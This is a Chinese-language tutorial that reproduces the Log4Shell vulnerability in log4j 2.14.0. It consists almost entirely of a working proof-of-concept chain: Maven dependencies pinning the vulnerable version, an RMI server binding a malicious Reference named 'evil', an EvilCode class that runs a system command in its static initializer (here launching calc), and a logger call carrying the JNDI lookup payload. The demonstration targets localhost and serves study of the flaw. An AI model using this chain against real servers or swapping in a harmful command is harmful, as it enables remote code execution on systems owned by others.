Java RMI引起的log4j漏洞问题重现

    <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <!--log4j2核心包-->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>

/**
 * 构建RMI服务来响应恶意代码
 * <p>
 * Java RMI，即 远程方法调用（Remote Method Invocation），一种用于实现远程过程调用(RPC)的Java API， 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM)，因此它仅支持从一个JVM到另一个JVM的调用。
 */
public class RMIServer {
  @SneakyThrows
  public static void main(String... args) {
    try {
      // 本地主机上的远程对象注册表Registry的实例,默认端口1099
      LocateRegistry.createRegistry(1099);
      Registry registry = LocateRegistry.getRegistry();
      System.out.println("Create RMI registry on port 1099");
      //返回的Java对象
      Reference reference = new Reference("bug.EvilCode", "bug.EvilCode", null);
      ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
      // 把远程对象注册到RMI注册服务器上，并命名为evil
      registry.bind("evil", referenceWrapper);
    } catch (RemoteException | AlreadyBoundException | NamingException e) {
      e.printStackTrace();
    }
  }

/**
 * 执行任意的脚本，目前的脚本会使windows服务器打开计算器.
 */
public class EvilCode {
  static {
    System.out.println("受害服务器将执行下面命令行");
    Process p;

    String[] cmd = {"calc"};
    try {
      p = Runtime.getRuntime().exec(cmd);
      InputStream fis = p.getInputStream();
      InputStreamReader isr = new InputStreamReader(fis);
      BufferedReader br = new BufferedReader(isr);
      String line = null;
      while ((line = br.readLine()) != null) {
        System.out.println(line);
      }
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
}

public class Server {
  private static final Logger logger = LogManager.getLogger();

  public static void main(String[] args) {
    String name = "${java:runtime}";
    logger.info("name:{}", name);
    //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
    String username = "${jndi:rmi://127.0.0.1:1099/evil}";
    //正常打印业务日志
    logger.error("username:{}", username);

  }
}